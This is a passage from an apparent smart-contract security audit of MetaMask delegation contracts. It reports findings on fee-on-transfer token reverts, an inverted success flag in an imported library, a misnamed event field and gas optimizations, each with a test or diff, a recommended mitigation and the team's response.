        uint256 _balanceFromBefore,
        bytes calldata _swapData
    )
        external
        onlySelf
    {
        uint256 tokenFromObtained_ = _getSelfBalance(_tokenFrom) - _balanceFromBefore;
        if (tokenFromObtained_ < _amountFrom) revert InsufficientTokens();

        ...
    }
```

This line ensures that the amount of tokens received matches the `amountFrom` field. However this invariant is violated for tokens that implement the fee on transfer feature. That's because the contract will receive less tokens and this check will make the whole execution to revert.

Impact: Well known tokens such as USDT are fee on transfer tokens that are currently part of the allow list of Metaswap. It is worth highlighting though that the current fees on USDT transfers is set to 0. While the current implementation works as expected with zero fees, it will revert if/when USDT shifts to a non-zero fee structure.

Proof of Concept: To run the following test you must add the following file under the `test/utils`

```
// SPDX-License-Identifier: MIT AND Apache-2.0

pragma solidity 0.8.23;

import { ERC20, IERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { Ownable2Step, Ownable } from "@openzeppelin/contracts/access/Ownable2Step.sol";

contract ERC20FeeOnTransfer is ERC20, Ownable2Step {
    ////////////////////////////// Constructor //////////////////////////////

    /// @dev Initializes the BasicERC20 contract.
    /// @param _owner The owner of the ERC20 token. Also addres that received the initial amount of
    ↪  tokens.
    /// @param _name The name of the ERC20 token.
    /// @param _symbol The symbol of the ERC20 token.
    /// @param _initialAmount The initial supply of the ERC20 token.
    constructor(
        address _owner,
        string memory _name,
```

```
        string memory _symbol,
        uint256 _initialAmount
    )
        Ownable(_owner)
        ERC20(_name, _symbol)
    {
        if (_initialAmount > 0) _mint(_owner, _initialAmount);
    }

    ////////////////////////////// External Methods ////////////////////////////

    /// @dev Allows the onwner to burn tokens from the specified user.
    /// @param _user The address of the user from whom the tokens will be burned.
    /// @param _amount The amount of tokens to burn.
    function burn(address _user, uint256 _amount) external onlyOwner {
        _burn(_user, _amount);
    }

    /// @dev Allows the owner to mint new tokens and assigns them to the specified user.
    /// @param _user The address of the user to whom the tokens will be minted.
    /// @param _amount The amount of tokens to mint.
    function mint(address _user, uint256 _amount) external onlyOwner {
        _mint(_user, _amount);
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value * 99 / 100);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value * 99 / 100);
        return true;
    }
}
```

Then you have to import the file inside the `DelegationMetaSwapAdapter.t.sol`:

```
import { ERC20FeeOnTransfer } from "../utils/ERC20FeeOnTransfer.t.sol";
```

And finally writing this test inside the `DelegationMetaSwapAdapterMockTest`:

```
    function _setUpMockERC20FOT() internal {
        vault = users.alice;
        subVault = users.bob;

        tokenA = BasicERC20(address(new ERC20FeeOnTransfer(owner, "TokenA", "TokenA", 0)));
        tokenB = new BasicERC20(owner, "TokenB", "TokenB", 0);
        vm.label(address(tokenA), "TokenA");
        vm.label(address(tokenB), "TokenB");

        metaSwapMock = IMetaSwap(address(new MetaSwapMock(IERC20(tokenA), IERC20(tokenB))));

        delegationMetaSwapAdapter =
            new DelegationMetaSwapAdapter(owner, IDelegationManager(address(delegationManager)),
            ↪  metaSwapMock);

        vm.startPrank(owner);
```

```
        tokenA.mint(address(vault.deleGator), 100 ether);
        tokenA.mint(address(metaSwapMock), 1000 ether);
        tokenB.mint(address(vault.deleGator), 100 ether);
        tokenB.mint(address(metaSwapMock), 1000 ether);

        vm.stopPrank();

        vm.deal(address(metaSwapMock), 1000 ether);

        _updateAllowedTokens();

        _whiteListAggregatorId(aggregatorId);

        swapDataTokenAtoTokenB =
            abi.encode(IERC20(address(tokenA)), IERC20(address(tokenB)), 1 ether, 1 ether, hex"",
            ↪  uint256(0), address(0), true);
    }

    function test_swapFeeOnTransferToken() public {
        _setUpMockERC20FOT();

        Delegation[] memory delegations_ = new Delegation[](2);

        Delegation memory vaultDelegation_ = _getVaultDelegation();
        Delegation memory subVaultDelegation_ =
        ↪  _getSubVaultDelegation(EncoderLib._getDelegationHash(vaultDelegation_));
        delegations_[1] = vaultDelegation_;
        delegations_[0] = subVaultDelegation_;

        bytes memory swapData_ = _encodeSwapData(IERC20(tokenA), IERC20(tokenB), amountFrom, amountTo,
        ↪  hex"", 0, address(0), false);
        bytes memory apiData_ = _encodeApiData(aggregatorId, IERC20(tokenA), amountFrom, swapData_);

        vm.prank(address(subVault.deleGator));
        vm.expectRevert(DelegationMetaSwapAdapter.InsufficientTokens.selector);
        delegationMetaSwapAdapter.swapByDelegation(apiData_, delegations_);
    }
```

Recommended Mitigation: For fee on transfer tokens it is fine to use the received amount:

```
    function swapTokens(
        string calldata _aggregatorId,
        IERC20 _tokenFrom,
        IERC20 _tokenTo,
        address _recipient,
        uint256 _amountFrom,
        uint256 _balanceFromBefore,
        bytes calldata _swapData
    )
        external
        onlySelf
    {
        uint256 tokenFromObtained_ = _getSelfBalance(_tokenFrom) - _balanceFromBefore;
--      if (tokenFromObtained_ < _amountFrom) revert InsufficientTokens();
++      if (tokenFromObtained_ < _amountFrom) {
++          _amountFrom = tokenFromObtained_ ;
        }

    }
```

MetaMask: Acknowledged. No action needed since we plan to work with current tokens without fees. If a token

with a fee gets activated like USDT in the future, we will remove it from allowlist.

Cyfrin: Acknowledged.

7.2 Low Risk

7.2.1 Bugged `erc7579-implementation` commit imported

Description: Currently, the codebase imports the `erc7579-implementation` external repository at commit `42aa538397138e0858bae09d1bd1a1921aa24b8c` to use the `ExecutionHelper`. This import is used inside the `DelegationMetaSwapAdapter` to implement the `executeFromExecutor` method:

```
function executeFromExecutor(
    ModeCode _mode,
    bytes calldata _executionCalldata
)
    external
    payable
    onlyDelegationManager
    returns (bytes[] memory returnData_)
{
    (CallType callType_, ExecType execType_,,) = _mode.decode();

    // Check if calltype is batch or single
    if (callType_ == CALLTYPE_BATCH) {
        // Destructure executionCallData according to batched exec
        Execution[] calldata executions_ = _executionCalldata.decodeBatch();
        // check if execType is revert or try
        if (execType_ == EXECTYPE_DEFAULT) returnData_ = _execute(executions_);
        else if (execType_ == EXECTYPE_TRY) returnData_ = _tryExecute(executions_);
        else revert UnsupportedExecType(execType_);
    } else if (callType_ == CALLTYPE_SINGLE) {
        // Destructure executionCallData according to single exec
        (address target_, uint256 value_, bytes calldata callData_) =
        ↪  _executionCalldata.decodeSingle();
        returnData_ = new bytes[](1);
        bool success_;
        // check if execType is revert or try
        if (execType_ == EXECTYPE_DEFAULT) {
            returnData_[0] = _execute(target_, value_, callData_);
        } else if (execType_ == EXECTYPE_TRY) {
            (success_, returnData_[0]) = _tryExecute(target_, value_, callData_);
            if (!success_) emit TryExecuteUnsuccessful(0, returnData_[0]);
        } else {
            revert UnsupportedExecType(execType_);
        }
    } else {
        revert UnsupportedCallType(callType_);
    }
}
```

When the `execType` is set to be `EXECTYPE_TRY`, the interal `_tryExecute` method is executed:

```
function _tryExecute(
    address target,
    uint256 value,
    bytes calldata callData
)
    internal
    virtual
    returns (bool success, bytes memory result)
{
    /// @solidity memory-safe-assembly
    assembly {
        result := mload(0x40)
        calldatacopy(result, callData.offset, callData.length)
```

```
@>          success := iszero(call(gas(), target, value, result, callData.length, codesize(), 0x00))
            mstore(result, returndatasize()) // Store the length.
            let o := add(result, 0x20)
            returndatacopy(o, 0x00, returndatasize()) // Copy the returndata.
            mstore(0x40, add(o, returndatasize())) // Allocate the memory.
        }
    }
```

This function executes a low level call and assigns the success the result of the call applying an is zero operator. This implementation is wrong because the result of a low level call already returns 1 on success and 0 on error. So applying an is zero operator will flip the result and be erroneus. The result of this will be that when executing a transaction in try mode, successful executions will emit the `TryExecuteUnsuccessful` and failing executions will not. This can confuse the user if these events are used by the UI.

Impact: Incorrect event emission

Recommended Mitigation: Consider updating the commit version to the latest one, it does not have this bug anymore

MetaMask: Resolved in commit 73e719.

Cyfrin: Resolved.

7.2.2 Wrong event data field in `ERC20PeriodTransferEnforcer`

Description: In the `ERC20PeriodTransferEnforcer` it emits the following event when this caveat is used:

```
    /**
     * @notice Emitted when a transfer is made, updating the transferred amount in the active period.
     * @param sender The address initiating the transfer.
@>   * @param recipient The address that receives the tokens.
     * @param delegationHash The hash identifying the delegation.
     * @param token The ERC20 token contract address.
     * @param periodAmount The maximum tokens transferable per period.
     * @param periodDuration The duration of each period (in seconds).
     * @param startDate The timestamp when the first period begins.
     * @param transferredInCurrentPeriod The total tokens transferred in the current period after this
     ↪  transfer.
     * @param transferTimestamp The block timestamp at which the transfer was executed.
     */
    event TransferredInPeriod(
        address indexed sender,
@>      address indexed recipient,
        bytes32 indexed delegationHash,
        address token,
        uint256 periodAmount,
        uint256 periodDuration,
        uint256 startDate,
        uint256 transferredInCurrentPeriod,
        uint256 transferTimestamp
    );
```

As we can see, the second field is the token recipient. However, in other token related caveats such as `ERC20StreamingEnforcer` and `NativeTokenStreamingEnforcer` the second field in the emitted event data is the `redeemer`, the address that redeems the delegation.

It makes sense that this should be the intended behavior because the data passed to the event is indeed the `redeemer`:

```
    function _validateAndConsumeTransfer(
        bytes calldata _terms,
        bytes calldata _executionCallData,
```

```
        bytes32 _delegationHash,
        address _redeemer
    )
        private
    {
        ...
        emit TransferredInPeriod(
            msg.sender,
@>          _redeemer,
            _delegationHash,
            token_,
            periodAmount_,
            periodDuration_,
            allowance_.startDate,
            allowance_.transferredInCurrentPeriod,
            block.timestamp
        );
    }
```

Impact: The event field is misleading.

Recommended Mitigation:

```
    event TransferredInPeriod(
        address indexed sender,
--      address indexed recipient,
++      address indexed redeemer,
        bytes32 indexed delegationHash,
        address token,
        uint256 periodAmount,
        uint256 periodDuration,
        uint256 startDate,
        uint256 transferredInCurrentPeriod,
        uint256 transferTimestamp
    );
```

MetaMask: Resolved in commit 15e0860.

Cyfrin: Resolved.

7.3 Informational

7.3.1 First transaction on `SpecificActionERC20TransferBatchEnforcer` does not support sending native value

Description: The `SpecificActionERC20TransferBatchEnforcer` is an enforcer to execute an arbitrary transaction first that is constrained by the delegator and afterwards an ERC20 transfer. Both executions are constrained to not support sending value:

```
    function beforeHook(
        bytes calldata _terms,
        bytes calldata,
        ModeCode _mode,
        bytes calldata _executionCallData,
        bytes32 _delegationHash,
        address _delegator,
        address
    )
        public
        override
        onlyBatchCallTypeMode(_mode)
        onlyDefaultExecutionMode(_mode)
    {
        ...

        // Validate first transaction
        if (
            executions_[0].target != terms_.firstTarget || executions_[0].value != 0
                || keccak256(executions_[0].callData) != keccak256(terms_.firstCalldata)
        ) {
            revert("SpecificActionERC20TransferBatchEnforcer:invalid-first-transaction");
        }

        // Validate second transaction
        if (
            executions_[1].target != terms_.tokenAddress || executions_[1].value != 0 ||
            ↪  executions_[1].callData.length != 68
                || bytes4(executions_[1].callData[0:4]) != IERC20.transfer.selector
                || address(uint160(uint256(bytes32(executions_[1].callData[4:36])))) != terms_.recipient
                || uint256(bytes32(executions_[1].callData[36:68])) != terms_.amount
        ) {
            revert("SpecificActionERC20TransferBatchEnforcer:invalid-second-transaction");
        }

        ...
    }
```

This check makes sense for the ERC20 transfer execution. However, for the first transaction may be too limited for the delegator that may want to include value along with the execution.

Recommended Mitigation: Consider removing the value check for the first transaction to enable the delegator to have more freedom when constraining the first execution. Note that the delegator can always constrain the value field with other enforcers.

```
    function beforeHook(
        bytes calldata _terms,
        bytes calldata,
        ModeCode _mode,
        bytes calldata _executionCallData,
        bytes32 _delegationHash,
        address _delegator,
        address
```

```
    )
        public
        override
        onlyBatchCallTypeMode(_mode)
        onlyDefaultExecutionMode(_mode)
    {
        ...

        // Validate first transaction
        if (
--          executions_[0].target != terms_.firstTarget || executions_[0].value != 0
++          executions_[0].target != terms_.firstTarget
                || keccak256(executions_[0].callData) != keccak256(terms_.firstCalldata)
        ) {
            revert("SpecificActionERC20TransferBatchEnforcer:invalid-first-transaction");
        }
        ...
    }
```

Metamask: Acknowledged. We need this for a specific use case where native token (ETH) is not involved.

Cyfrin: Acknowledged.

7.4 Gas Optimization

7.4.1 `ERC20PeriodTransferEnforcer` gas optimizations

Description:

1. The current implementation of `_validateAndConsumeTransfer` performs several validations on every function call, even though some of these validations are only need to be performed once during the first execution for a given delegation hash. Since the terms of a delegation are immutable and time only increases, these checks become redundant after the first successful execution. This causes unnecessary gas consumption on subsequent calls. Consider moving the term validations and time check inside the initialization block so they're only performed once per delegation hash.

```
    function _validateAndConsumeTransfer(
        bytes calldata _terms,
        bytes calldata _executionCallData,
        bytes32 _delegationHash,
        address _redeemer
    )
        private
    {
        ...

        // Validate terms
--      require(startDate_ > 0, "ERC20PeriodTransferEnforcer:invalid-zero-start-date");
--      require(periodDuration_ > 0, "ERC20PeriodTransferEnforcer:invalid-zero-period-duration");
--      require(periodAmount_ > 0, "ERC20PeriodTransferEnforcer:invalid-zero-period-amount");

        require(token_ == target_, "ERC20PeriodTransferEnforcer:invalid-contract");
        require(bytes4(callData_[0:4]) == IERC20.transfer.selector,
        ↪  "ERC20PeriodTransferEnforcer:invalid-method");

        // Ensure the transfer period has started.
--      require(block.timestamp >= startDate_, "ERC20PeriodTransferEnforcer:transfer-not-started");

        PeriodicAllowance storage allowance_ = periodicAllowances[msg.sender][_delegationHash];

        // Initialize the allowance on first use.
        if (allowance_.startDate == 0) {
            allowance_.periodAmount = periodAmount_;
            allowance_.periodDuration = periodDuration_;
            allowance_.startDate = startDate_;
            allowance_.lastTransferPeriod = 0;
            allowance_.transferredInCurrentPeriod = 0;

++          require(startDate_ > 0, "ERC20PeriodTransferEnforcer:invalid-zero-start-date");
++          require(periodDuration_ > 0, "ERC20PeriodTransferEnforcer:invalid-zero-period-duration");
++          require(periodAmount_ > 0, "ERC20PeriodTransferEnforcer:invalid-zero-period-amount");
++          require(block.timestamp >= startDate_, "ERC20PeriodTransferEnforcer:transfer-not-started");
        }

        ...
    }
```

2. Unnecessary storage writes

```
    function _validateAndConsumeTransfer(
        bytes calldata _terms,
        bytes calldata _executionCallData,
        bytes32 _delegationHash,
        address _redeemer
    )
```

```
        private
    {
        ...
        PeriodicAllowance storage allowance_ = periodicAllowances[msg.sender][_delegationHash];
        // Initialize the allowance on first use.
        if (allowance_.startDate == 0) {
            allowance_.periodAmount = periodAmount_;
            allowance_.periodDuration = periodDuration_;
            allowance_.startDate = startDate_;
--          allowance_.lastTransferPeriod = 0;
--          allowance_.transferredInCurrentPeriod = 0;
        }
        ...
    }
```

These 2 variables are updated afterwards and are already initialized at 0. Hence, it makes no sense to set them to 0 upon initialization.

3. Unnecessary storage read

```
    function _validateAndConsumeTransfer(
        bytes calldata _terms,
        bytes calldata _executionCallData,
        bytes32 _delegationHash,
        address _redeemer
    )
        private
    {
        emit TransferredInPeriod(
            msg.sender,
            _redeemer,
            _delegationHash,
            token_,
            periodAmount_,
            periodDuration_,
--          allowance_.startDate,
++          startDate_,
            allowance_.transferredInCurrentPeriod,
            block.timestamp
        );
    }
```

No need to read the start date from storage because it is already cached

Metamask: Resolved in commit d08147.

Cyfrin: Resolved.

7.4.2 `NativeTokenStreamingEnforcer` and `ERC20TokenStreamingEnforcer` gas optimizations

Description:

1. Cache the amount spent to avoid multiple storage reads:

```
    function _validateAndConsumeAllowance(
        bytes calldata _terms,
        bytes calldata _executionCallData,
        bytes32 _delegationHash,
        address _redeemer
    )
        private
    {
```

```
        (, uint256 value_,) = _executionCallData.decodeSingle();
        (uint256 initialAmount_, uint256 maxAmount_, uint256 amountPerSecond_, uint256 startTime_) =
        ↪  getTermsInfo(_terms);
        require(maxAmount_ >= initialAmount_, "NativeTokenStreamingEnforcer:invalid-max-amount");
        require(startTime_ > 0, "NativeTokenStreamingEnforcer:invalid-zero-start-time");
        StreamingAllowance storage allowance_ = streamingAllowances[msg.sender][_delegationHash];
++      uint256 currentAmountSpent = allowance_.spent;
--      if (allowance_.spent == 0) {
++      if (currentAmountSpent == 0) {
            // First use of this delegation
            allowance_.initialAmount = initialAmount_;
            allowance_.maxAmount = maxAmount_;
            allowance_.amountPerSecond = amountPerSecond_;
            allowance_.startTime = startTime_;
        }
        require(value_ <= _getAvailableAmount(allowance_),
        ↪  "NativeTokenStreamingEnforcer:allowance-exceeded");
--      allowance_.spent += value_;
++      allowance_.spent = value_ + currentAmountSpent;
        emit IncreasedSpentMap(
            msg.sender,
            _redeemer,
            _delegationHash,
            initialAmount_,
            maxAmount_,
            amountPerSecond_,
            startTime_,
--          allowance_.spent,
++          value_ + currentAmountSpent,
            block.timestamp
        );
    }
```

2. Avoid overriding storage data when spent is 0 and data is already set

```
    function _validateAndConsumeAllowance(
        bytes calldata _terms,
        bytes calldata _executionCallData,
        bytes32 _delegationHash,
        address _redeemer
    )
        private
    {
        ...
        StreamingAllowance storage allowance_ = streamingAllowances[msg.sender][_delegationHash];
--      if (allowance_.spent == 0) {
++      if (allowance_.spent == 0 && allowance_.startTime == 0) {
            // First use of this delegation
            allowance_.initialAmount = initialAmount_;
            allowance_.maxAmount = maxAmount_;
            allowance_.amountPerSecond = amountPerSecond_;
            allowance_.startTime = startTime_;
        }
        ...
    }
```

3. Total spent is impossible to be greater than the amount unlocked, hence checking if the amount spent is greater than or equal to the amount unlocked is unnecessary. Just a single equal operator is enough:

```
    function _getAvailableAmount(StreamingAllowance memory _allowance) private view returns (uint256) {
        if (block.timestamp < _allowance.startTime) return 0;
```

```
        uint256 elapsed_ = block.timestamp - _allowance.startTime;
        uint256 unlocked_ = _allowance.initialAmount + (_allowance.amountPerSecond * elapsed_);
        if (unlocked_ > _allowance.maxAmount) {
            unlocked_ = _allowance.maxAmount;
        }
--      if (_allowance.spent >= unlocked_) return 0;
++      if (_allowance.spent == unlocked_) return 0;
        return unlocked_ - _allowance.spent;
    }
```

Metamask: Acknowledged.

Cyfrin: Acknowledged.

7.4.3 Unnecessary execution mode support in `DelegationMetaSwapAdapter`

Description: The `executeFromExecutor` function in the `DelegationMetaSwapAdapter` supports multiple execution modes (batch/single) and execution types (default/try). However, in practice, the adapter's main function swapByDelegation only ever uses the encodeSimpleSingle mode with default execution type.

This implementation includes complex conditional logic that handles multiple code paths that are never utilized in the current application:

```
    function swapByDelegation(bytes calldata _apiData, Delegation[] memory _delegations) external {
        ...
        ModeCode[] memory encodedModes_ = new ModeCode[](2);
        encodedModes_[0] = ModeLib.encodeSimpleSingle();
        encodedModes_[1] = ModeLib.encodeSimpleSingle();
        ...
    }

    function executeFromExecutor(
        ModeCode _mode,
        bytes calldata _executionCalldata
    )
        external
        payable
        onlyDelegationManager
        returns (bytes[] memory returnData_)
    {
        (CallType callType_, ExecType execType_,,) = _mode.decode();

        // Check if calltype is batch or single
        if (callType_ == CALLTYPE_BATCH) {
            // Destructure executionCallData according to batched exec
            Execution[] calldata executions_ = _executionCalldata.decodeBatch();
            // check if execType is revert or try
            if (execType_ == EXECTYPE_DEFAULT) returnData_ = _execute(executions_);
            else if (execType_ == EXECTYPE_TRY) returnData_ = _tryExecute(executions_);
            else revert UnsupportedExecType(execType_);
        } else if (callType_ == CALLTYPE_SINGLE) {
            // Destructure executionCallData according to single exec
            (address target_, uint256 value_, bytes calldata callData_) =
            ↪  _executionCalldata.decodeSingle();
            returnData_ = new bytes[](1);
            bool success_;
            // check if execType is revert or try
            if (execType_ == EXECTYPE_DEFAULT) {
                returnData_[0] = _execute(target_, value_, callData_);
            } else if (execType_ == EXECTYPE_TRY) {
                (success_, returnData_[0]) = _tryExecute(target_, value_, callData_);
                if (!success_) emit TryExecuteUnsuccessful(0, returnData_[0]);
```

```
            } else {
                revert UnsupportedExecType(execType_);
            }
        } else {
            revert UnsupportedCallType(callType_);
        }
    }
```

Recommendation Consider restricting the `executeFromExecutor` function to only support the execution modes that are actually used in the application:

```
  function executeFromExecutor(
    ModeCode _mode,
    bytes calldata _executionCalldata
)
    external
    payable
    onlyDelegationManager
    returns (bytes[] memory returnData_)
{
    (CallType callType_, ExecType execType_,,) = _mode.decode();

    // Only support single call type with default execution
    if (callType_ != CALLTYPE_SINGLE) {
        revert UnsupportedCallType(callType_);
    }

    if (execType_ != EXECTYPE_DEFAULT) {
        revert UnsupportedExecType(execType_);
    }

    // Process single execution directly without additional checks
    (address target_, uint256 value_, bytes calldata callData_) = _executionCalldata.decodeSingle();
    returnData_ = new bytes[](1);
    returnData_[0] = _execute(target_, value_, callData_);

    return returnData_;
}
```

Metamask: Resolved in commit afb243c.

Cyfrin: Resolved.